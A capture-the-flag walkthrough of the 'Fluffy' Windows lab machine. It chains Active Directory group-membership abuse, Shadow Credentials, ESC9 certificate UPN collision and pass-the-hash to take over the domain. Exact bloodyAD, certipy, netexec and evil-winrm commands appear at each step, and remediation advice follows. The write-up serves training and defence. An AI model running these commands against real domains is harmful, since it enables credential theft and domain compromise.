← all walkthroughs

Fluffy

Windows· Easy
owned
2026-07-06
time to own
18m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Starting from a single low-privilege domain credential (p.agila / [REDACTED: recovered credential]) supplied under an assumed-breach engagement, I collected the full Active Directory ACL graph with BloodHound and discovered that p.agila could self-add to the privileged 'Service Accounts' group. Membership in that group carried write rights over the msDS-KeyCredentialLink attribute of two domain service accounts.

A Shadow Credentials attack recovered the NT hash of winrm_svc, giving an interactive WinRM shell and the user flag. Repeating the attack from winrm_svc compromised ca_svc — the account managing the domain Certificate Authority.

Ca_svc's control over AD CS was exploited via an ESC9-style UPN-collision attack: its User Principal Name was temporarily changed to 'administrator', a certificate was requested from the CA, and PKINIT authentication on that certificate returned the built-in Administrator's NT hash. Pass-the-hash WinRM login as Administrator gave full Domain Admin access and the root flag, completing total domain compromise across five chained misconfigurations.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning and service fingerprinting (T1046)
Scanned ports and fingerprinted the domain controller
A TCP port scan of $TARGET confirmed a fully deployed Windows domain controller: DNS (53), Kerberos (88), LDAP and LDAPS (389/636/3268/3269), SMB (445), WinRM (5985), and AD CS-related RPC endpoints. NetExec fingerprinted the host as DC01.fluffy.htb running Windows Server 2019 Build 17763 with SMB signing enforced. Every anonymous probe — null-session SMB, anonymous LDAP bind, guest RPC — returned access-denied or operationsError, confirming that enumeration required valid credentials.
SMB $TARGET 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True)
Exact commands 3
Service-version and default-script scan of all key AD ports.
nmap -sV -sC -p 53,88,139,389,445,464,593,636,3268,3269,5985,9389 --open -oN dc01_scan.txt $TARGET
Add DC01 and the domain to local DNS resolution.
echo "$TARGET dc01.fluffy.htb fluffy.htb" | sudo tee -a /etc/hosts
Confirm DC01 hostname, OS build, SMB signing, and domain name.
netexec smb $TARGET
2EnumerationActive Directory ACL enumeration — BloodHound / bloodhound-python (T1087.002)
Collected the Active Directory ACL graph with BloodHound and identified attack paths
Using p.agila's credential, BloodHound-python collected all domain objects, group memberships, and access-control entries from the domain controller. Grepping the resulting JSON for GenericAll, GenericWrite, Owns, and AddKeyCredentialLink edges revealed three critical attack paths: (1) p.agila had a Self-Membership ACE on the 'Service Accounts' group, allowing it to join without approval; (2) membership in that group carried AddKeyCredentialLink write rights over winrm_svc and ca_svc; (3) j.fleischman held GenericAll over Domain Admins, but with no known password for that account the shorter service-account chain was pursued instead. Separately, certipy find confirmed AD CS was deployed as 'fluffy-DC01-CA' with 11 enabled certificate templates.
BloodHound JSON ACEs confirmed p.agila → Service Accounts (Self-Membership); Service Accounts → winrm_svc/ca_svc (AddKeyCredentialLink). Certipy find output: 1 CA, 11 enabled templates.
Exact commands 3
Collect all BloodHound data (users, groups, ACLs, GPOs, trusts) using the p.agila credential.
bloodhound-python -u p.agila -p "$PASSWORD" -d fluffy.htb -ns $TARGET -dc dc01.fluffy.htb -c All --zip --dns-tcp --disable-autogc
Surface high-value ACL edges directly from the JSON without importing into the BloodHound UI.
grep -R "GenericAll\|GenericWrite\|Owns\|AddKeyCredentialLink\|Self" bh/*.json | head -50
Enumerate AD CS certificate templates and flag vulnerable ones (ESC1–ESC9). '+7 hours' corrects the DC clock skew for Kerberos.
faketime '+7 hours' certipy find -u 'p.agila@fluffy.htb' -p "$PASSWORD" -dc-ip $TARGET -stdout -vulnerable
3Privilege Escalation — Group MembershipActive Directory ACL abuse — Self-Membership / GenericWrite on security group (T1484)
Self-added p.agila to the 'Service Accounts' privileged group via an ACL edge
The BloodHound graph showed p.agila held a Self-Membership (or GenericWrite) access-control entry on the 'Service Accounts' AD group. Using bloodyAD over authenticated LDAP, p.agila added myself to the group directly — no administrator interaction or approval was required. This single LDAP write elevated p.agila from a generic domain user to a principal with AddKeyCredentialLink write rights over every account in the 'Service Accounts' group, including the winrm_svc and ca_svc service accounts.
BloodyAD add groupMember succeeded; p.agila subsequently appeared in the Service Accounts group as confirmed by LDAP re-query.
Exact commands 1
Exploit the Self-Membership ACE to enrol p.agila in Service Accounts over LDAP.
bloodyAD --host $TARGET -d fluffy.htb -u p.agila -p "$PASSWORD" add groupMember 'Service Accounts' p.agila
FixRemove Self-Membership and GenericWrite ACEs that allow ordinary users to join privileged groupsHigh
WeaknessThe standard domain user p.agila held a Self-Membership (or GenericWrite) access-control entry on the 'Service Accounts' security group. This allowed p.agila to elevate its own group membership through a single LDAP write, with no administrator action or approval required — directly violating the principle of least privilege.
FixAudit all AD group objects for non-administrative principals holding GenericAll, GenericWrite, WriteDacl, WriteOwner, or Self-Membership rights (use BloodHound's 'Shortest Paths to High Value Targets' query or 'Get-ADGroupMember' combined with 'Get-ACL' in PowerShell). Remove any ACE not explicitly required for a documented, approved operational workflow. Delegate group-membership changes only to Tier 0 or Tier 1 administrators through Role-Based Access Control. Review quarterly using an AD ACL scanning tool such as Microsoft's AD Security Assessment or Purple Knight.
4Credential AccessShadow Credentials — msDS-KeyCredentialLink abuse via PKINIT key-trust takeover (T1556)
Extracted winrm_svc's NT hash using a Shadow Credentials attack
As a member of 'Service Accounts', p.agila could write to the msDS-KeyCredentialLink attribute of winrm_svc. Certipy's 'shadow auto' command injected a forged public-key credential into that attribute, then used the matching private key to complete a PKINIT Kerberos pre-authentication exchange. The DC's AS-REP included the encrypted NT hash (unpac-the-hash), which certipy decrypted to yield winrm_svc's NT hash. The domain controller's system clock ran 7 hours ahead of my machine; the faketime wrapper corrected the skew so Kerberos timestamps were accepted.
Certipy shadow auto returned NT hash [REDACTED: recovered credential] for the winrm_svc account.
Exact commands 1
Write a forged key credential to winrm_svc's msDS-KeyCredentialLink and recover its NT hash. '+7 hours' compensates for the DC clock skew that causes Kerberos pre-auth to fail without it.
faketime '+7 hours' certipy shadow auto -u 'p.agila@fluffy.htb' -p "$PASSWORD" -dc-ip $TARGET -target $TARGET -account winrm_svc
FixRestrict write access to msDS-KeyCredentialLink to prevent Shadow Credentials attacksCritical
WeaknessMembers of the 'Service Accounts' group held AddKeyCredentialLink (write) permission on the msDS-KeyCredentialLink attribute of winrm_svc and ca_svc. Any account with this right can inject a forged key credential, then authenticate via PKINIT Kerberos to recover the target account's NT hash — without ever learning or cracking the account's password.
FixUse 'Get-ADUser -Properties msDS-KeyCredentialLink' and the AD ACL editor (or DSACLs) to identify every principal that can write msDS-KeyCredentialLink on any account, then remove all ACEs that are not required for Windows Hello for Business key provisioning (which is the only legitimate writer). If WHfB is not deployed, add a deny ACE at the domain root for this attribute for all non-SYSTEM principals. Enable object-change auditing (Event ID 5136) filtered to msDS-KeyCredentialLink modifications and alert on any change outside an approved provisioning workflow. Enrol high-privilege service accounts in the Protected Users security group, which disables NTLM and restricts Kerberos delegation, to limit the usefulness of recovered hashes.
5FootholdPass-the-Hash over WinRM (T1550.002)
Logged in as winrm_svc over WinRM with its NT hash — captured user.txt
The NT hash recovered in the previous step was passed directly to WinRM on port 5985 using netexec's pass-the-hash mode. No password cracking was needed. NetExec confirmed remote command execution ('Pwn3d!') and reading the desktop flag file returned user.txt. Evil-WinRM was then used to open an interactive PowerShell session on DC01 for subsequent escalation.
Nxc winrm $TARGET -u winrm_svc -H [REDACTED: recovered credential] → [+] fluffy.htb\winrm_svc (Pwn3d!); user.txt read from Desktop.
Exact commands 2
Authenticate with the NT hash and read the user flag. Adjust the profile path if winrm_svc's home folder differs.
netexec winrm $TARGET -d fluffy.htb -u winrm_svc -H $PASSWORD -x 'type C:\Users\winrm_svc\Desktop\user.txt'
Open an interactive WinRM shell for the next escalation chain.
evil-winrm -i $TARGET -u winrm_svc -H $PASSWORD
6Credential AccessShadow Credentials — msDS-KeyCredentialLink abuse (chained account takeover)
Extracted ca_svc's NT hash via a second Shadow Credentials attack from the winrm_svc session
Winrm_svc was itself a member of 'Service Accounts' and therefore retained the same AddKeyCredentialLink write right over ca_svc — the service account managing the domain's Active Directory Certificate Services Certificate Authority. Running the identical Shadow Credentials attack from the winrm_svc identity yielded ca_svc's NT hash. Controlling ca_svc meant controlling the CA itself, unlocking the AD CS exploitation path.
Certipy shadow auto returned NT hash [REDACTED: recovered credential] for ca_svc.
Exact commands 1
Same Shadow Credentials technique, now authenticated as winrm_svc using its NT hash, targeting ca_svc.
faketime '+7 hours' certipy shadow auto -u 'winrm_svc@fluffy.htb' -hashes ":$PASSWORD" -dc-ip $TARGET -target $TARGET -account ca_svc
7Privilege Escalation — AD CSAD CS ESC9 — UPN collision via certificate issued without strong mapping OID (T1649)
Abused ESC9 UPN collision as ca_svc to obtain the built-in Administrator's NT hash
Ca_svc had the ability to modify its own User Principal Name (UPN) attribute. Certipy changed ca_svc's UPN to 'administrator', then requested a certificate from the fluffy-DC01-CA using the User template while ca_svc's identity carried that spoofed UPN. Because the issued certificate lacked the OID strong-mapping security extension required by fully-patched domain controllers (the hallmark of an ESC9-vulnerable configuration), the DC's PKINIT logic resolved the certificate's embedded UPN to the built-in Administrator account and returned that account's NT hash via the AS-REP unpac-the-hash mechanism. The UPN was restored after the attack.
Certipy auth on the resulting administrator.pfx returned the built-in Administrator NT hash; subsequent WinRM login as Administrator confirmed Domain Admin.
Exact commands 4
Set ca_svc's UPN to 'administrator' to prime the ESC9 identity confusion.
certipy account update -u 'ca_svc@fluffy.htb' -hashes ":$PASSWORD" -dc-ip $TARGET -target $TARGET -user ca_svc -upn administrator
Request a User-template certificate from the CA while ca_svc's UPN is 'administrator'; saves administrator.pfx locally.
certipy req -u 'ca_svc@fluffy.htb' -hashes ":$PASSWORD" -dc-ip $TARGET -target $TARGET -ca 'fluffy-DC01-CA' -template User
Authenticate via PKINIT with the certificate; the DC resolves the embedded UPN to the Administrator account and returns its NT hash.
certipy auth -pfx administrator.pfx -dc-ip $TARGET
Restore ca_svc's UPN to its original value (cleanup).
certipy account update -u 'ca_svc@fluffy.htb' -hashes ":$PASSWORD" -dc-ip $TARGET -target $TARGET -user ca_svc -upn 'ca_svc@fluffy.htb'
FixEnforce strong certificate mapping in AD CS to eliminate ESC9 UPN-collision certificate abuseCritical
WeaknessThe fluffy-DC01-CA issued User-template certificates that embedded the requester's User Principal Name without the szOID_NTDS_CA_SECURITY_EXT strong-mapping OID. When ca_svc's UPN was changed to 'administrator', the resulting certificate was accepted by the domain controller as proof of the Administrator identity, allowing a low-privilege CA service account to impersonate the built-in Administrator and retrieve its NT hash.
FixApply Microsoft KB5014754 on all domain controllers and set 'StrongCertificateBindingEnforcement' = 2 (Full Enforcement) in the registry (HKLM\SYSTEM\CurrentControlSet\Services\Kdc). This causes KDC to reject any certificate that lacks the new Object SID extension. Additionally: (1) restrict enrollment rights on the User template — remove Domain Users from Enroll permissions and grant only to accounts that operationally need user certificates; (2) enable the CA's 'EDITF_ATTRIBUTESUBJECTALTNAME2' flag audit and alert on UPN changes for service accounts; (3) monitor Certificate Authority request logs (Event ID 4886/4887) for certificates issued for high-privilege UPNs such as 'administrator'. Schedule a full AD CS health review using certipy find or Locksmith to identify remaining ESC-class misconfigurations.
8Full CompromisePass-the-Hash over WinRM — Domain Admin (T1550.002)
Authenticated as Domain Administrator over WinRM — captured root.txt
The built-in Administrator NT hash returned by the ESC9 certificate authentication was passed directly to WinRM. NetExec confirmed Domain Admin ('Pwn3d!') and the root flag was read from the Administrator desktop. At this point I held complete control of the fluffy.htb domain: every account, every machine, all AD CS certificate templates, and all domain secrets.
Netexec winrm $TARGET -u administrator -H <administrator-NT-hash> → [+] fluffy.htb\administrator (Pwn3d!); root.txt read from C:\Users\Administrator\Desktop\.
Exact commands 2
Replace <administrator-NT-hash> with the hash returned by 'certipy auth'. Confirms Domain Admin and retrieves root.txt.
netexec winrm $TARGET -d fluffy.htb -u administrator -H <administrator-NT-hash> -x 'type C:\Users\Administrator\Desktop\root.txt'
Interactive Domain Admin shell on DC01 for full post-exploitation access.
evil-winrm -i $TARGET -u administrator -H <administrator-NT-hash>

Attack patterns used

The transferable techniques behind this compromise.

AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649

What it is

Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.

Why it works

Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.

Read more

Exposed services

53/tcp
88/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
3268/tcp
3269/tcp
5985/tcp
9389/tcp
49667/tcp
49689/tcp
49690/tcp
49701/tcp
49714/tcp
49727/tcp
49761/tcp